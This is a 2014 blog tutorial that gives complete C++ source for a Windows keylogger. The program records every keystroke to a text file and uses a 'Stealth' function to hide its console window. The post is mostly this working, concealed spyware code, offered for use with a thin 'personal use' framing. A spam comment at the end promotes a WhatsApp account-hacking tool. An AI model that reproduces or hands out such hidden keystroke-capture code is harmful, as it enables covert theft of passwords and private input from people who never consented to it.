Saturday 4 January 2014

Create Keylogger in C++

coding-wallpaper-binary

Hey guys! What’s up ?

Well, it’s been quite a long time since I posted. There were some web hosting issues at first and then my exams so I didn’t really get time to make a post or write some tutorials etc. Now that I have got a bit time, I thought to share some stuff with you. So I remember the days when I used to make keyloggers in programming languages. It was fun. Those keyloggers would be very easy . Nowadays, you can can also make keylogger for your personal use and to record the keystrokes of your own computer.

Well, that’s a pretty basic tutorial. It just involves a bit of coding in C++.

First, you need to download the DEVC++ from here http://www.bloodshed.net/.

It’s the software that are you going to use for C++ programming.

Okay, so once you download DEVC++ , install it and the run the Dev Compiler. If you have got some knowledge of Visual Basic then it would be better, you can modify the code then.

 

#include <iostream>

using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,”LOG.txt”);
}
}
system (“PAUSE”);
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, “a+”);
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]“);
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, “%s”, “\n”);
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, “%s”, ” “);
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, “%s”, “[TAB]“);
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, “%s”, “[SHIFT]“);
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, “%s”, “[CONTROL]“);
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]“);
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, “%s”, “[END]“);
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, “%s”, “[HOME]“);
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, “%s”, “[LEFT]“);
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, “%s”, “[UP]“);
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, “%s”, “[RIGHT]“);
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, “%s”, “[DOWN]“);
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, “%s”, “.”);
else
fprintf(OUTPUT_FILE, “%s”, &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA(“ConsoleWindowClass”, NULL);
ShowWindow(Stealth,0);
}

Copy this above  Junk of code and paste it int the dev compiler. After that, press F5 to compile code.

Then execute the program by selecting execute.  (Ctrl + F10 )
Now your keylogger will run on your computer and the keystrokes would be stored in logs.txt file.

You can then view the logs anytime by opening that logs text file.


1 comment:

  1. How is this possible to hack whatsapp account by using free whatsapp hacking tool. The answer is to easy by which we all got the answer of how to hack whatsapp just in few steps from here.

    ReplyDelete